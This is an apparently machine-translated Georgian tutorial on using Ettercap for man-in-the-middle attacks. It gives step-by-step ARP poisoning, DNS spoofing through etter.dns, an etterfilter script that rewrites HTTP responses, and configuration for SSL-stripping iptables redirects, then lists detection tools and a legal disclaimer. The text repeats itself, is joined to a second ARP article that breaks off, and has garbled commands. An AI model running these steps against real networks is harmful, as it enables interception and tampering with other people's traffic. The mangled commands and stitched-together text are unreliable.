Ettercap: უნივერსალური ტრაფიკის ანალიზატორი. Wi-Fi ქსელების სკანირება Ubuntu-ში Ettercap Ettercap-ით თავდასხმული სამიზნე კარგავს ინტერნეტს

Ettercap არის პროგრამა კომპიუტერის ინტერფეისის გავლით, მაგრამ დამატებითი ფუნქციონირებით, ქსელური ტრაფიკის გასაანალიზებლად. პროგრამა საშუალებას გაძლევთ განახორციელოთ შეტევები კაცის შუაგულში, რათა აიძულოთ სხვა კომპიუტერი გადასცეს პაკეტები თქვენზე და არა როუტერზე.

Ettercap-ით შეგიძლიათ შეამოწმოთ თქვენი ქსელის უსაფრთხოება, რამდენად მგრძნობიარეა ის ამ ტიპის თავდასხმის მიმართ, ასევე გააანალიზოთ ტრაფიკი მრავალი კომპიუტერიდან და შეცვალოთ ის ფრენის დროსაც კი. ამ სტატიაში განვიხილავთ, თუ როგორ გამოვიყენოთ Ettercap ტრაფიკის გასაანალიზებლად და შესაცვლელად.

რა არის კაცი შუაში შეტევა?

ნაგულისხმევად, კომპიუტერი აგზავნის ყველა ქსელის პაკეტს, რომელიც უნდა გაიგზავნოს ინტერნეტში როუტერზე, რომელიც, თავის მხრივ, აგზავნის მათ შემდეგ როუტერზე, სანამ პაკეტი არ მიაღწევს დანიშნულების ადგილს. მაგრამ გარკვეული მიზეზების გამო, პაკეტი შეიძლება არ გადაეცეს როუტერს, არამედ პირდაპირ თქვენს კომპიუტერს და მხოლოდ ამის შემდეგ როუტერს.

კომპიუტერს, რომლითაც გაივლის პაკეტები, შეუძლია გააანალიზოს წყარო, დანიშნულების მისამართი და თუ ისინი არ არის დაშიფრული, მაშინ მათი სრული შინაარსი.

MITM (Man In Middle Attack) შესრულების ორი გზა არსებობს:

  • ARP შეტევა- ARP პროტოკოლის ფუნქციების გამოყენებით, თქვენი კომპიუტერი ეუბნება სხვებს, რომ ეს არის როუტერი, რის შემდეგაც იწყება მასზე ყველა პაკეტის გაგზავნა;
  • DNS შეტევა- როდესაც კომპიუტერი ცდილობს დომენის IP მისამართის მიღებას, ჩვენ ამ მისამართს ვცვლით ჩვენით, მაგრამ ამ ტიპის მუშაობისთვის საჭიროა გამოიყენოთ ARP მეთოდი.

Ettercap Linux პროგრამას შეუძლია შეასრულოს ორივე ტიპის შეტევა. გარდა ამისა, პროგრამას შეუძლია შეასრულოს სერვისის შეტევების უარყოფა და პორტების სკანირება. ახლა მოდით შევხედოთ როგორ დავაყენოთ და გამოიყენოთ Ettercap.

Ettercap-ის ინსტალაცია

ეს არის საკმაოდ პოპულარული პროგრამა ქსელის უსაფრთხოების სპეციალისტებს შორის, ამიტომ ის ხელმისაწვდომია უმეტეს განაწილების ოფიციალურ საცავებში. მაგალითად, Ettercap-ის ინსტალაციისთვის Ubuntu run-ზე:

$ sudo apt install ettercap-gtk

Fedora-ზე ან მასზე დაფუძნებულ სხვა დისტრიბუციებზე, ბრძანება გამოიყურება მსგავსი:

$ sudo yum დააინსტალირე ettercap-gtk

ჩვენ დავასრულეთ Ettercap Linux-ის ინსტალაციის ამოცანა, მაგრამ მის გამოყენებამდე კონფიგურაციის ფაილში რამდენიმე პარამეტრი უნდა შევცვალოთ.

$ sudo vi /etc/ettercap/etter.conf

ec_uid და ec_gid ხაზებს უნდა ჰქონდეს მნიშვნელობა 0, რომ პროგრამის სერვისმა იმუშაოს სუპერმომხმარებლის სახით:


ec_uid = 0 # არავინ არის ნაგულისხმევი
ec_gid = 0 # არავინ არის ნაგულისხმევი

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

ისინი გამოიყენება SSL კავშირების გადამისამართებისთვის რეგულარულ HTTP-ზე, თუ ეს შესაძლებელია. შემდეგ შეინახეთ ცვლილებები და პროგრამა მზად არის გამოსაყენებლად.

Ettercap GUI-ის გამოყენებით

პროგრამას შეუძლია იმუშაოს რამდენიმე რეჟიმში - გრაფიკული ინტერფეისით, გარეშე და როგორც სერვისი. განვიხილავთ გრაფიკულ ინტერფეისში მუშაობას. GTK ინტერფეისით პროგრამის გასაშვებად გამოიყენეთ -G ვარიანტი:

$ sudo -E ettercap -G

ARP-მოწამვლის შეტევა Ettercap-ში

როგორც უკვე ვთქვი, ამ შეტევით ჩვენ შეგვიძლია ვაიძულოთ სამიზნე კომპიუტერი გამოაგზავნოს პაკეტები არა როუტერზე, არამედ ჩვენთან. ყველაფერი მუშაობს საკმაოდ მარტივად. კომპიუტერმა იცის როუტერის IP; მან მიიღო იგი ქსელთან დაკავშირებისას. მაგრამ ყოველ ჯერზე, როდესაც მას სჭირდება პაკეტის გაგზავნა, მან უნდა გადაიყვანოს ეს უნივერსალური IP მისამართი ქსელის ტექნოლოგიის დაბალი დონის მისამართად, მაგალითად, სადენიანი ინტერნეტისთვის ეს არის MAC მისამართი.

ამისათვის გამოიყენება ARP პროტოკოლი. კომპიუტერი აგზავნის მოთხოვნას ქსელის ყველა მოწყობილობაზე, მაგალითად, "ვინ არის 192.168.1.1" და როუტერი, ხედავს მის მისამართს, პასუხად გამოგიგზავნის MAC-ს. შემდეგ ის შეინახება ქეშში. მაგრამ ჩვენ შეგვიძლია გამოვიყენოთ Ettercap, რომ ვთხოვოთ სამიზნე კომპიუტერს განაახლოს თავისი ARP ქეში და მისცეს მას ჩვენი MAC მისამართი როუტერის MAC მისამართის ნაცვლად. შემდეგ ყველა ამანათი გადმოგვეცემა, სადაც საჭირო იქნება, გამოგიგზავნით.

მოდით, საქმეს შევუდგეთ და შევასრულოთ attercap arp spofing შეტევა. Ettercap-ში გახსენით მენიუ ყნოსვადა აირჩიეთ ერთიანი სნიფინგი.შემდეგ აირჩიეთ თქვენი ქსელის ინტერფეისი, მაგალითად eth0 ან wlan0:

პროგრამის ფანჯარა შეიცვლება და ჩვენთვის კიდევ ბევრი ფუნქცია იქნება ხელმისაწვდომი. ახლა თქვენ გჭირდებათ ქსელის სკანირება. ამისათვის გახსენით მენიუ მასპინძლებსდა დააჭირეთ ჰოსტების სკანირება.მაშინაც კი, თუ რაღაც არ მუშაობს, შეგიძლიათ ჩატვირთოთ ჰოსტების სია ფაილიდან:

თავდასხმის დასაწყებად უნდა მივუთითოთ სამიზნე 1 და სამიზნე 2. პირველ სამიზნედ უნდა მივუთითოთ აპარატის ip, რომელზეც ვაპირებთ შეტევას და სამიზნე 2 - როუტერის ip. გამოიყენეთ ღილაკები მიზნების დასამატებლად დაამატეთ სამიზნე 1და დაამატეთ Traget 2:

ფანჯარაში, რომელიც იხსნება, მონიშნეთ ყუთი ამოისუნთქეთ დისტანციური კავშირებიამ კომპიუტერიდან ყველა დისტანციური კავშირის ჩასართავად:

ახლა მენიუში ჩანაცვლების პროცესის დასაწყებად დაწყებააირჩიეთ დაიწყეთ ყნოსვა.

ამის შემდეგ, პროგრამა დაიწყებს პაკეტების გაგზავნას ქსელში 192.168.1.3 მოთხოვნით ARP ქეშის განახლებისა და როუტერის MAC მისამართის თქვენით შესაცვლელად. შეტევა განხორციელდა და წარმატებით განხორციელდა. შეგიძლიათ მენიუს გახსნა ხედი -> კავშირებიდა იხილეთ აქტიური კავშირები სამიზნე მოწყობილობისთვის:

თუ პაკეტი არ იყო დაშიფრული, მაშინ ჩვენ შეგვიძლია ვნახოთ გადაცემული ინფორმაცია მაუსის კავშირზე დაჭერით. გაგზავნილი ინფორმაცია ნაჩვენებია მარცხნივ, ხოლო მიღებული ინფორმაცია მარჯვნივ:

DNS გაყალბების შეტევა Ettercap-ის გამოყენებით

საიტების სახელების ქსელის IP მისამართებად გადასაყვანად გამოიყენება სპეციალური სერვისი - DNS. როდესაც კომპიუტერს სჭირდება საიტის IP, ის ამას სთხოვს DNS სერვერს. მაგრამ თუ თქვენ უკვე ახორციელებთ MITM შეტევას, ჩვენ შეგვიძლია შევცვალოთ სერვერის პასუხი ისე, რომ ჩვენი IP დაბრუნდეს საიტის სერვერის IP-ის ნაცვლად. პირველ რიგში, ჩვენ გვჭირდება ფაილის /etc/ettercap/etter.dns რედაქტირება:

$ sudo vi /etc/ettercap/etter.dns

google.com.ua A 127.0.0.1

ეს ჩანაწერი ნიშნავს, რომ ჩვენ შევცვლით google.com.ua-ის მთავარ IP-ს 127.0.0.1-ით. გაითვალისწინეთ, რომ ეს შეტევა არ განხორციელდება წინა შეტევის გარეშე. შემდეგ გახსენით მენიუ დანამატები -> მართეთ დანამატები:

შემდეგ ორჯერ დააწკაპუნეთ დანამატზე dns_spoof:

დანამატი გააქტიურდება და შეგიძლიათ შეამოწმოთ IP მოწყობილობა მოწყობილობაზე. DNS ნამდვილად შეიცვალა. მაგალითად, შეგიძლიათ იმუშაოთ სამიზნე მანქანაზე:

$ ping google.com.ua

$ping www.ettercap.org

გარდა ამ დანამატებისა, არის სხვა, რომლითაც შეგიძლიათ შეასრულოთ საჭირო მოქმედებები.

Ettercap ფილტრები

ფილტრები საშუალებას გაძლევთ შეცვალოთ პროგრამის მეშვეობით გადაცემული პაკეტები. თქვენ შეგიძლიათ გადააგდოთ პაკეტები ან შეიტანოთ საჭირო ცვლილებები მათში ჩანაცვლების ფუნქციის გამოყენებით. ფილტრები ასევე მუშაობს მხოლოდ MITM შეტევის გაშვებისას. პირობების სინტაქსი, რომლითაც ჩვენ გავფილტრავთ პაკეტებს, ძალიან ჰგავს wireshark-ს. მოდით შევხედოთ მარტივ ფილტრს, რომელიც ჩაანაცვლებს ყველა სურათს ჩვენით:

$ vi ტესტი.ფილტრი

თუ (ip.proto == TCP && tcp.dst == 80) (
if (ძებნა(DATA.data, "Accept-Encoding")) (
შეცვლის ("Accept-Encoding", "Accept-Rubbish!");
# შენიშვნა: შემცვლელი სტრიქონი იგივე სიგრძეა, რაც ორიგინალური სტრიქონი
msg("გადაღებული Accept-Encoding!\n");
}
}
თუ (ip.proto == TCP && tcp.src == 80) (
შეცვლის ("img src="/, "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
შეცვლის ("IMG SRC=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
msg("ფილტრის გაშვება.\n");
}

მათთვის, ვისაც აქვს პროგრამირების ენების გამოცდილება, აქ ყველაფერი გასაგები უნდა იყოს. თუ პროტოკოლი არის TCP და დანიშნულების პორტი არის 80, ჩვენ ვაგრძელებთ ძიებას და ვეძებთ Accept-Encoding. შემდეგ ამ სიტყვას ვცვლით ნებისმიერი სხვა, მაგრამ სიგრძით ექვივალენტურით. რადგან თუ ბრაუზერი გამოგზავნის Accept-Encoding gzip-ს, მონაცემები შეკუმშული იქნება და იქ არაფერს გავფილტრავთ. შემდეგი, სერვერის პასუხში, წყაროს პორტი 80, ჩვენ ვცვლით ყველა სურათს ჩვენით. ახლა საჭიროა ფილტრის შედგენა:

$ etterfilter test.filter -o test.ef

რჩება მხოლოდ ფილტრის ჩატვირთვა მენიუს გამოყენებით ფილტრები -> ფილტრის ჩატვირთვა:

აირჩიეთ ფილტრის ფაილი ფაილურ სისტემაში:

ფილტრი ჩაიტვირთება და შეგიძლიათ გახსნათ ნებისმიერი საიტი, რომელიც არ იყენებს https-ს, რათა დარწმუნდეთ, რომ ყველაფერი მუშაობს. MITM შეტევის შესაჩერებლად გახსენით მენიუ MITMდა აირჩიეთ შეაჩერე ყველა Mitm შეტევა. ჩვენი Ettercap გაკვეთილი დასასრულს უახლოვდება, მაგრამ...

როგორ დავიცვათ თავი?

ალბათ, სტატიის წაკითხვის შემდეგ გაგიჩნდებათ გონივრული კითხვა, როგორ დავიცვათ კომპიუტერი ამ ტიპის თავდასხმისგან? ამისათვის არსებობს რამდენიმე ინსტრუმენტი, მათ შორის Linux ოპერაციული სისტემისთვის:

  • XArp- გრაფიკული პროგრამა, რომელსაც შეუძლია აღმოაჩინოს MAC მისამართების გაყალბების მცდელობები ARP პროტოკოლის საშუალებით და დაუპირისპირდეს მას. შეუძლია მუშაობა ვინდოუსსა და ლინუქსში;
  • ხვრინვა- საკმაოდ ცნობილი ანტი-შეჭრის სისტემა, რომელიც, სხვა საკითხებთან ერთად, აღმოაჩენს შეტევებს ARP პროტოკოლზე;
  • ArpON- პატარა სერვისი, რომელიც აკონტროლებს ARP ცხრილს და იცავს მას MAC მისამართის გაყალბებისგან.

გამოიყენეთ პროგრამა მხოლოდ თქვენი ქსელების ან აპლიკაციების უსაფრთხოების შესამოწმებლად და ასევე არ დაგავიწყდეთ, რომ უკანონო ქმედებები საინფორმაციო სივრცეში ასევე დასჯადია.

ვიდეოს დასასრულებლად, სადაც ნაჩვენებია, თუ როგორ მუშაობს პროგრამა:

თქვენ უნდა დარეგისტრირდეთ,
კომენტარის დასატოვებლად

Ettercap არის პროგრამა კომპიუტერის ინტერფეისის გავლით, მაგრამ დამატებითი ფუნქციონირებით, ქსელური ტრაფიკის გასაანალიზებლად. პროგრამა საშუალებას გაძლევთ განახორციელოთ შეტევები კაცის შუაგულში, რათა აიძულოთ სხვა კომპიუტერი გადასცეს პაკეტები თქვენზე და არა როუტერზე.

Ettercap-ით შეგიძლიათ შეამოწმოთ თქვენი ქსელის უსაფრთხოება, რამდენად მგრძნობიარეა ის ამ ტიპის თავდასხმის მიმართ, ასევე გააანალიზოთ ტრაფიკი მრავალი კომპიუტერიდან და შეცვალოთ ის ფრენის დროსაც კი. ამ სტატიაში განვიხილავთ, თუ როგორ გამოვიყენოთ Ettercap ტრაფიკის გასაანალიზებლად და შესაცვლელად.

ნაგულისხმევად, კომპიუტერი აგზავნის ყველა ქსელის პაკეტს, რომელიც უნდა გაიგზავნოს ინტერნეტში როუტერზე, რომელიც, თავის მხრივ, აგზავნის მათ შემდეგ როუტერზე, სანამ პაკეტი არ მიაღწევს დანიშნულების ადგილს. მაგრამ გარკვეული მიზეზების გამო, პაკეტი შეიძლება არ გადაეცეს როუტერს, არამედ პირდაპირ თქვენს კომპიუტერს და მხოლოდ ამის შემდეგ როუტერს.

კომპიუტერს, რომლითაც გაივლის პაკეტები, შეუძლია გააანალიზოს წყარო, დანიშნულების მისამართი და თუ ისინი არ არის დაშიფრული, მაშინ მათი სრული შინაარსი.

MITM (Man In Middle Attack) შესრულების ორი გზა არსებობს:

  • ARP შეტევა- ARP პროტოკოლის ფუნქციების გამოყენებით, თქვენი კომპიუტერი ეუბნება სხვებს, რომ ეს არის როუტერი, რის შემდეგაც იწყება მასზე ყველა პაკეტის გაგზავნა;
  • DNS შეტევა- როდესაც კომპიუტერი ცდილობს დომენის IP მისამართის მიღებას, ჩვენ ამ მისამართს ვცვლით ჩვენით, მაგრამ ამ ტიპის მუშაობისთვის საჭიროა გამოიყენოთ ARP მეთოდი.

Ettercap Linux პროგრამას შეუძლია შეასრულოს ორივე ტიპის შეტევა. გარდა ამისა, პროგრამას შეუძლია შეასრულოს სერვისის შეტევების უარყოფა და პორტების სკანირება. ახლა მოდით შევხედოთ როგორ დავაყენოთ და გამოიყენოთ Ettercap.

Ettercap-ის ინსტალაცია

ეს არის საკმაოდ პოპულარული პროგრამა ქსელის უსაფრთხოების სპეციალისტებს შორის, ამიტომ ის ხელმისაწვდომია უმეტეს განაწილების ოფიციალურ საცავებში. მაგალითად, Ettercap-ის ინსტალაციისთვის Ubuntu run-ზე:

sudo apt დააინსტალირე ettercap-gtk

Fedora-ზე ან მასზე დაფუძნებულ სხვა დისტრიბუციებზე, ბრძანება გამოიყურება მსგავსი:

sudo yum დააინსტალირე ettercap-gtk

ჩვენ დავასრულეთ Ettercap Linux-ის ინსტალაციის ამოცანა, მაგრამ მის გამოყენებამდე კონფიგურაციის ფაილში რამდენიმე პარამეტრი უნდა შევცვალოთ.

sudo vi /etc/ettercap/etter.conf

ec_uid და ec_gid ხაზებს უნდა ჰქონდეს მნიშვნელობა 0, რომ პროგრამის სერვისმა იმუშაოს სუპერმომხმარებლის სახით:


ec_uid = 0 # არავინ არის ნაგულისხმევი
ec_gid = 0 # არავინ არის ნაგულისხმევი

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

ისინი გამოიყენება SSL კავშირების გადამისამართებისთვის რეგულარულ HTTP-ზე, თუ ეს შესაძლებელია. შემდეგ შეინახეთ ცვლილებები და პროგრამა მზად არის გამოსაყენებლად.

Ettercap GUI-ის გამოყენებით

პროგრამას შეუძლია იმუშაოს რამდენიმე რეჟიმში - გრაფიკული ინტერფეისით, გარეშე და როგორც სერვისი. განვიხილავთ გრაფიკულ ინტერფეისში მუშაობას. GTK ინტერფეისით პროგრამის გასაშვებად გამოიყენეთ -G ვარიანტი:

სუდო -E ettercap -G

ARP-მოწამვლის შეტევა Ettercap-ში

როგორც უკვე ვთქვი, ამ შეტევით ჩვენ შეგვიძლია ვაიძულოთ სამიზნე კომპიუტერი გამოაგზავნოს პაკეტები არა როუტერზე, არამედ ჩვენთან. ყველაფერი მუშაობს საკმაოდ მარტივად. კომპიუტერმა იცის როუტერის IP; მან მიიღო იგი ქსელთან დაკავშირებისას. მაგრამ ყოველ ჯერზე, როდესაც მას სჭირდება პაკეტის გაგზავნა, მან უნდა გადაიყვანოს ეს უნივერსალური IP მისამართი ქსელის ტექნოლოგიის დაბალი დონის მისამართად, მაგალითად, სადენიანი ინტერნეტისთვის ეს არის MAC მისამართი.

ამისათვის გამოიყენება ARP პროტოკოლი. კომპიუტერი აგზავნის მოთხოვნას ქსელის ყველა მოწყობილობაზე, მაგალითად, "ვინ არის 192.168.1.1" და როუტერი, ხედავს მის მისამართს, პასუხად გამოგიგზავნის MAC-ს. შემდეგ ის შეინახება ქეშში. მაგრამ ჩვენ შეგვიძლია გამოვიყენოთ Ettercap, რომ ვთხოვოთ სამიზნე კომპიუტერს განაახლოს თავისი ARP ქეში და მისცეს მას ჩვენი MAC მისამართი როუტერის MAC მისამართის ნაცვლად. შემდეგ ყველა ამანათი გადმოგვეცემა, სადაც საჭირო იქნება, გამოგიგზავნით.

მოდით, საქმეს შევუდგეთ და შევასრულოთ attercap arp spofing შეტევა. Ettercap-ში გახსენით მენიუ ყნოსვადა აირჩიეთ ერთიანი სნიფინგი.შემდეგ აირჩიეთ თქვენი ქსელის ინტერფეისი, მაგალითად eth0 ან wlan0:

პროგრამის ფანჯარა შეიცვლება და ჩვენთვის კიდევ ბევრი ფუნქცია იქნება ხელმისაწვდომი. ახლა თქვენ გჭირდებათ ქსელის სკანირება. ამისათვის გახსენით მენიუ მასპინძლებსდა დააჭირეთ ჰოსტების სკანირება.მაშინაც კი, თუ რაღაც არ მუშაობს, შეგიძლიათ ჩატვირთოთ ჰოსტების სია ფაილიდან:

თავდასხმის დასაწყებად უნდა მივუთითოთ სამიზნე 1 და სამიზნე 2. პირველ სამიზნედ უნდა მივუთითოთ აპარატის ip, რომელზეც ვაპირებთ შეტევას და სამიზნე 2 - როუტერის ip. გამოიყენეთ ღილაკები მიზნების დასამატებლად დაამატეთ სამიზნე 1და დაამატეთ Traget 2:

ფანჯარაში, რომელიც იხსნება, მონიშნეთ ყუთი ამოისუნთქეთ დისტანციური კავშირებიამ კომპიუტერიდან ყველა დისტანციური კავშირის ჩასართავად:

ახლა მენიუში ჩანაცვლების პროცესის დასაწყებად დაწყებააირჩიეთ დაიწყეთ ყნოსვა.

ამის შემდეგ, პროგრამა დაიწყებს პაკეტების გაგზავნას ქსელში 192.168.1.3 მოთხოვნით ARP ქეშის განახლებისა და როუტერის MAC მისამართის თქვენით შესაცვლელად. შეტევა განხორციელდა და წარმატებით განხორციელდა. შეგიძლიათ მენიუს გახსნა ხედი -> კავშირებიდა იხილეთ აქტიური კავშირები სამიზნე მოწყობილობისთვის:

თუ პაკეტი არ იყო დაშიფრული, მაშინ ჩვენ შეგვიძლია ვნახოთ გადაცემული ინფორმაცია მაუსის კავშირზე დაჭერით. გაგზავნილი ინფორმაცია ნაჩვენებია მარცხნივ, ხოლო მიღებული ინფორმაცია მარჯვნივ:

DNS გაყალბების შეტევა Ettercap-ის გამოყენებით

საიტების სახელების ქსელის IP მისამართებად გადასაყვანად გამოიყენება სპეციალური სერვისი - DNS. როდესაც კომპიუტერს სჭირდება საიტის IP, ის ამას სთხოვს DNS სერვერს. მაგრამ თუ თქვენ უკვე ახორციელებთ MITM შეტევას, ჩვენ შეგვიძლია შევცვალოთ სერვერის პასუხი ისე, რომ ჩვენი IP დაბრუნდეს საიტის სერვერის IP-ის ნაცვლად. პირველ რიგში, ჩვენ გვჭირდება ფაილის /etc/ettercap/etter.dns რედაქტირება:

sudo vi /etc/ettercap/etter.dns

google.com.ua A 127.0.0.1

ეს ჩანაწერი ნიშნავს, რომ ჩვენ შევცვლით google.com.ua-ის მთავარ IP-ს 127.0.0.1-ით. გაითვალისწინეთ, რომ ეს შეტევა არ განხორციელდება წინა შეტევის გარეშე. შემდეგ გახსენით მენიუ დანამატები -> მართეთ დანამატები:

შემდეგ ორჯერ დააწკაპუნეთ დანამატზე dns_spoof:

დანამატი გააქტიურდება და შეგიძლიათ შეამოწმოთ IP მოწყობილობა მოწყობილობაზე. DNS ნამდვილად შეიცვალა. მაგალითად, შეგიძლიათ იმუშაოთ სამიზნე მანქანაზე:

ping google.com.ua

პინგ www.ettercap.org

გარდა ამ დანამატებისა, არის სხვა, რომლითაც შეგიძლიათ შეასრულოთ საჭირო მოქმედებები.

Ettercap ფილტრები

ფილტრები საშუალებას გაძლევთ შეცვალოთ პროგრამის მეშვეობით გადაცემული პაკეტები. თქვენ შეგიძლიათ გადააგდოთ პაკეტები ან შეიტანოთ საჭირო ცვლილებები მათში ჩანაცვლების ფუნქციის გამოყენებით. ფილტრები ასევე მუშაობს მხოლოდ MITM შეტევის გაშვებისას. პირობების სინტაქსი, რომლითაც ჩვენ გავფილტრავთ პაკეტებს, ძალიან ჰგავს wireshark-ს. მოდით შევხედოთ მარტივ ფილტრს, რომელიც ჩაანაცვლებს ყველა სურათს ჩვენით:

თუ (ip.proto == TCP && tcp.dst == 80) (
if (ძებნა(DATA.data, "Accept-Encoding")) (
შეცვლის ("Accept-Encoding", "Accept-Rubbish!");
# შენიშვნა: შემცვლელი სტრიქონი იგივე სიგრძეა, რაც ორიგინალური სტრიქონი
msg("გადაღებული Accept-Encoding!\n");
}
}
თუ (ip.proto == TCP && tcp.src == 80) (
შეცვლის ("img src=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
შეცვლის ("IMG SRC=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
msg("ფილტრის გაშვება.\n");
}

მათთვის, ვისაც აქვს პროგრამირების ენების გამოცდილება, აქ ყველაფერი გასაგები უნდა იყოს. თუ პროტოკოლი არის TCP და დანიშნულების პორტი არის 80, ჩვენ ვაგრძელებთ ძიებას და ვეძებთ Accept-Encoding. შემდეგ ამ სიტყვას ვცვლით ნებისმიერი სხვა, მაგრამ სიგრძით ექვივალენტურით. რადგან თუ ბრაუზერი გამოგზავნის Accept-Encoding gzip-ს, მონაცემები შეკუმშული იქნება და იქ არაფერს გავფილტრავთ. შემდეგი, სერვერის პასუხში, წყაროს პორტი 80, ჩვენ ვცვლით ყველა სურათს ჩვენით. ახლა საჭიროა ფილტრის შედგენა:

etterfilter test.ფილტრი -o test.ef

რჩება მხოლოდ ფილტრის ჩატვირთვა მენიუს გამოყენებით ფილტრები -> ფილტრის ჩატვირთვა:

აირჩიეთ ფილტრის ფაილი ფაილურ სისტემაში:

ფილტრი ჩაიტვირთება და შეგიძლიათ გახსნათ ნებისმიერი საიტი, რომელიც არ იყენებს https-ს, რათა დარწმუნდეთ, რომ ყველაფერი მუშაობს. MITM შეტევის შესაჩერებლად გახსენით მენიუ MITMდა აირჩიეთ შეაჩერე ყველა Mitm შეტევა. ჩვენი Ettercap გაკვეთილი დასასრულს უახლოვდება, მაგრამ...

როგორ დავიცვათ თავი?

ალბათ, სტატიის წაკითხვის შემდეგ გაგიჩნდებათ გონივრული კითხვა, როგორ დავიცვათ კომპიუტერი ამ ტიპის თავდასხმისგან? ამისათვის არსებობს რამდენიმე ინსტრუმენტი, მათ შორის Linux ოპერაციული სისტემისთვის:

  • XArp- გრაფიკული პროგრამა, რომელსაც შეუძლია აღმოაჩინოს MAC მისამართების გაყალბების მცდელობები ARP პროტოკოლის საშუალებით და დაუპირისპირდეს მას. შეუძლია მუშაობა ვინდოუსსა და ლინუქსში;
  • ხვრინვა- საკმაოდ ცნობილი ანტი-შეჭრის სისტემა, რომელიც, სხვა საკითხებთან ერთად, აღმოაჩენს შეტევებს ARP პროტოკოლზე;
  • ArpON- პატარა სერვისი, რომელიც აკონტროლებს ARP ცხრილს და იცავს მას MAC მისამართის გაყალბებისგან.

დასკვნები

ამ სტატიაში ჩვენ განვიხილეთ, თუ როგორ გამოვიყენოთ Ettercap, პროგრამა ქსელის პაკეტების ანალიზისა და Man-in-the-Middle შეტევების შესასრულებლად. გამოიყენეთ პროგრამა მხოლოდ თქვენი ქსელების ან აპლიკაციების უსაფრთხოების შესამოწმებლად და ასევე არ დაგავიწყდეთ, რომ უკანონო ქმედებები საინფორმაციო სივრცეში ასევე დასჯადია.

ვიდეოს დასასრულებლად, სადაც ნაჩვენებია, თუ როგორ მუშაობს პროგრამა:

ARP გაყალბება(ARP-poisoning) არის ქსელის შეტევის ტექნიკა, რომელიც ძირითადად გამოიყენება Ethernet-ში, მაგრამ ასევე შესაძლებელია სხვა ქსელებში ARP პროტოკოლის გამოყენებით, რომელიც დაფუძნებულია ARP პროტოკოლის ნაკლოვანებების გამოყენებაზე და საშუალებას აძლევს ტრაფიკის ჩაჭრას კვანძებს შორის, რომლებიც განლაგებულია იმავე გადაცემაში. დომენი.

სტატიაში დეტალურად არის აღწერილი თავდასხმის ტექნიკა ARP გაყალბება, ettercap პროგრამის გამოყენებით განხორციელებული შეტევის მაგალითის გამოყენებით; განიხილება ARP შეტევების გამოვლენისა და პრევენციის მეთოდები, როგორიცაა ARP აქტივობის მონიტორინგი arpwatch-ის გამოყენებით, სპეციალური პატჩების გამოყენება სისტემების იმუნიტეტის გასაუმჯობესებლად, VLAN-ებისა და PPPoE-ების გამოყენებით. ნაჩვენებია, თუ როგორ უნდა გადაჭრას პრობლემები, რომლებიც პირდაპირ კავშირშია ARP პროტოკოლთან: კომპიუტერების ძებნა ცნობილი MAC მისამართის გამოყენებით და ქსელში ახალი კომპიუტერების აღმოჩენა.

ARP პროტოკოლი და შეტევები მისი გამოყენებით

რა არის ARP და რატომ არის საჭირო?

ARP პროტოკოლი შექმნილია IP მისამართების MAC მისამართებად გადაქცევისთვის. ყველაზე ხშირად ჩვენ ვსაუბრობთ Ethernet მისამართებზე კონვერტაციაზე, მაგრამ ARP ასევე გამოიყენება სხვა ტექნოლოგიების ქსელებში: Token Ring, FDDI და სხვა.

ARP ალგორითმი

პროტოკოლი შეიძლება გამოყენებულ იქნას შემდეგ შემთხვევებში:

  1. მასპინძელი ასურს IP პაკეტის გაგზავნა კვანძი B, მდებარეობს მასთან იმავე ქსელში;
  2. მასპინძელი ასურს IP პაკეტის გაგზავნა კვანძი B, მდებარეობს მასთან სხვადასხვა ქსელში და ამისთვის იყენებს სერვისებს როუტერი R.

რომელიმე ამ შემთხვევაში კვანძი A ARP პროტოკოლი გამოყენებული იქნება მხოლოდ პირველ შემთხვევაში MAC მისამართის დასადგენად კვანძი B, ხოლო მეორეში - MAC მისამართის დასადგენად როუტერი R. ამ უკანასკნელ შემთხვევაში, პაკეტი გადაეცემა როუტერს შემდგომი გადაცემისთვის.

ქვემოთ, სიმარტივისთვის, განვიხილავთ პირველ შემთხვევას, როდესაც ინფორმაციის გაცვლა ხდება უშუალოდ იმავე ქსელში მდებარე კვანძებს შორის. (შემთხვევა, როდესაც პაკეტი მიმართულია როუტერის უკან მდებარე ჰოსტს, განსხვავდება მხოლოდ იმით, რომ ARP თარგმანის დასრულების შემდეგ გადაცემულ პაკეტებში გამოიყენება მიმღების IP მისამართი, მაგრამ როუტერის MAC მისამართი და არა მიმღები.)

ARP პრობლემები

ARP პროტოკოლი სრულიად დაუცველია. მას არ გააჩნია რაიმე საშუალება, რომ გადაამოწმოს პაკეტების ავთენტურობა, არც მოთხოვნილებები და არც პასუხები. სიტუაცია კიდევ უფრო რთული ხდება, როდესაც შესაძლებელია უსასყიდლო ARP-ის გამოყენება.

სპონტანური ARP- ეს არის ARP-ის ქცევა, როდესაც ARP პასუხი იგზავნება, როდესაც ამის განსაკუთრებული საჭიროება არ არის (მიმღების თვალსაზრისით). სპონტანური ARP პასუხი არის ARP საპასუხო პაკეტი, რომელიც გაგზავნილია მოთხოვნის გარეშე.იგი გამოიყენება ქსელში IP მისამართების კონფლიქტების დასადგენად: როგორც კი სადგური მიიღებს მისამართს DHCP-ის საშუალებით ან მისამართის ხელით მინიჭება, უსასყიდლო ARP პასუხი იგზავნება.

სპონტანური ARP შეიძლება სასარგებლო იყოს შემდეგ შემთხვევებში:

  • ARP ცხრილების განახლება, კერძოდ კლასტერულ სისტემებში;
  • საინფორმაციო გადამრთველები;
  • შეტყობინება, რომ ქსელის ინტერფეისი ჩართულია.

სპონტანური ARP-ის ეფექტურობის მიუხედავად, ის განსაკუთრებით დაუცველია, რადგან მისი გამოყენება შესაძლებელია დისტანციური ჰოსტის დასარწმუნებლად, რომ იმავე ქსელში არსებული ზოგიერთი სისტემის MAC მისამართი შეიცვალა და მიუთითოს რომელი მისამართი ახლა გამოიყენება.

ARP გაყალბება

